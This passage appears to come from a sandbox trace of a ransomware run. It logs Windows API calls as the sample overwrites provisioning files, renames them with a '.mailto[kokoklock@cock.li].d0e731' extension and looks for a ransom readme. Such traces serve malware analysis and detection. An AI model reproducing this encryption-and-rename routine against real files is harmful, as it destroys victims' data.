(Australia)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml")) returned 0x20 [0087.476] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.476] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.476] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f5bf810 | out: lpFileSize=0x2f5bf810*=712) returned 1 [0087.476] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.476] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f5bf7e4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f5bf7e0, lpOverlapped=0x0 | out: lpBuffer=0x2f5bf7e4*, lpNumberOfBytesRead=0x2f5bf7e0*=0x4, lpOverlapped=0x0) returned 1 [0087.478] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc250 [0087.478] NtQuerySystemTime (in: CurrentTime=0x2f5bf7bc | out: CurrentTime=0x2f5bf7bc*=132121176453757109) returned 0x0 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0xf40e9af [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x400ea6ca [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x6b202dc5 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x1cabd7d8 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x5daebeed [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0xefcf9e35 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x4f1bb411 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x62a3f2ec [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0xc9c82448 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0xbb6aba5d [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0xf3a82c64 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x6cc5c756 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x5b852186 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x4dff649 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x68c02376 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0xc77fffa8 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0xede861bd [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x2fdb1c38 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0xe671b9b1 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x61fd0a2e [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0xd2560f3a [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x8d65c00d [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0xa08b3c66 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x9edcae50 [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0xf430c24b [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x25e9eb5a [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x11f8bb8a [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0xe6b7beaf [0087.478] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x95c5e3de [0087.479] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x83b01974 [0087.479] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0xff58f2a6 [0087.479] RtlRandom (in: Seed=0x2f5bf7c8 | out: Seed=0x2f5bf7c8) returned 0x3c1adc3a [0087.489] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x2f5bf7bc, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f5bf7bc*=0x2c8, lpOverlapped=0x0) returned 1 [0087.489] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f5bf784 | out: lpNewFilePointer=0x0) returned 1 [0087.489] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2c8, lpNumberOfBytesWritten=0x2f5bf7b8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f5bf7b8*=0x2c8, lpOverlapped=0x0) returned 1 [0087.489] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.489] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc368 [0087.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc368) returned 1 [0087.489] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f5bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x55dc340*, lpNumberOfBytesWritten=0x2f5bf7b4*=0x20, lpOverlapped=0x0) returned 1 [0087.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc340) returned 1 [0087.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.489] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc278*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f5bf7e0, lpOverlapped=0x0 | out: lpBuffer=0x55dc278*, lpNumberOfBytesWritten=0x2f5bf7e0*=0x8, lpOverlapped=0x0) returned 1 [0087.490] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f5bf7f8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f5bf7e0, lpOverlapped=0x0 | out: lpBuffer=0x2f5bf7f8*, lpNumberOfBytesWritten=0x2f5bf7e0*=0x4, lpOverlapped=0x0) returned 1 [0087.490] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f5bf7e0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f5bf7e0*=0x4, lpOverlapped=0x0) returned 1 [0087.490] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f5bf7e0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f5bf7e0*=0x6c, lpOverlapped=0x0) returned 1 [0087.490] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f5bf7e0, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f5bf7e0*=0x20, lpOverlapped=0x0) returned 1 [0087.490] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f5bf7e0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f5bf7e0*=0x4, lpOverlapped=0x0) returned 1 [0087.490] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.490] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.490] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc278) returned 1 [0087.490] CloseHandle (hObject=0x3d0) returned 1 [0087.491] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x184) returned 0x33fc9c8 [0087.491] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" [0087.491] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.492] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.492] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.492] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.492] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.492] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.493] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.493] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.493] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.493] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.493] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f9128) returned 1 [0087.493] RtlExitUserThread (Status=0x1) Thread: id = 1363 os_tid = 0x1158 [0087.494] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.494] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.495] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.495] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f63fcf8 | out: lpFileSize=0x2f63fcf8*=702) returned 1 [0087.495] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.495] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f63fccc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f63fcc8, lpOverlapped=0x0 | out: lpBuffer=0x2f63fccc*, lpNumberOfBytesRead=0x2f63fcc8*=0x4, lpOverlapped=0x0) returned 1 [0087.496] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc278 [0087.496] NtQuerySystemTime (in: CurrentTime=0x2f63fca4 | out: CurrentTime=0x2f63fca4*=132121176453913262) returned 0x0 [0087.496] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xf6a9108c [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xdfe0f052 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x92730909 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xb2a86f1 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xd11ae679 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x65fa9871 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xa08bd785 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x14bd7c5a [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xfd00cadf [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xca89c979 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x945b4770 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x8027f635 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xb2ec62d8 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x215d5808 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xe6566214 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x8c1f0bca [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xe803ab6e [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xcd3a763f [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x7864438c [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xc2376bbe [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xdd1b9a5e [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x2fbb74d9 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x42ce889a [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x6217256 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x64af0d74 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x77c31e98 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xee0fcd89 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0xcdf4a14f [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x7df71914 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x14efbfb5 [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x6405571d [0087.497] RtlRandom (in: Seed=0x2f63fcb0 | out: Seed=0x2f63fcb0) returned 0x3e9e7f0 [0087.508] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2be, lpNumberOfBytesRead=0x2f63fca4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f63fca4*=0x2be, lpOverlapped=0x0) returned 1 [0087.508] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f63fc6c | out: lpNewFilePointer=0x0) returned 1 [0087.508] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2be, lpNumberOfBytesWritten=0x2f63fca0, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f63fca0*=0x2be, lpOverlapped=0x0) returned 1 [0087.508] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.508] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc390 [0087.508] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc390) returned 1 [0087.508] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f63fc9c, lpOverlapped=0x0 | out: lpBuffer=0x55dc340*, lpNumberOfBytesWritten=0x2f63fc9c*=0x20, lpOverlapped=0x0) returned 1 [0087.508] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc340) returned 1 [0087.508] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.508] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.508] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.509] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.509] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc368*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f63fcc8, lpOverlapped=0x0 | out: lpBuffer=0x55dc368*, lpNumberOfBytesWritten=0x2f63fcc8*=0x8, lpOverlapped=0x0) returned 1 [0087.509] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f63fce0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f63fcc8, lpOverlapped=0x0 | out: lpBuffer=0x2f63fce0*, lpNumberOfBytesWritten=0x2f63fcc8*=0x4, lpOverlapped=0x0) returned 1 [0087.509] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f63fcc8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f63fcc8*=0x4, lpOverlapped=0x0) returned 1 [0087.509] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f63fcc8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f63fcc8*=0x6c, lpOverlapped=0x0) returned 1 [0087.509] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f63fcc8, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f63fcc8*=0x20, lpOverlapped=0x0) returned 1 [0087.509] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f63fcc8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f63fcc8*=0x4, lpOverlapped=0x0) returned 1 [0087.509] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.509] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.509] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc368) returned 1 [0087.509] CloseHandle (hObject=0x3d0) returned 1 [0087.509] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x184) returned 0x33fc9c8 [0087.509] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" [0087.509] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.509] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.510] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.510] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.510] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.510] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.510] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All 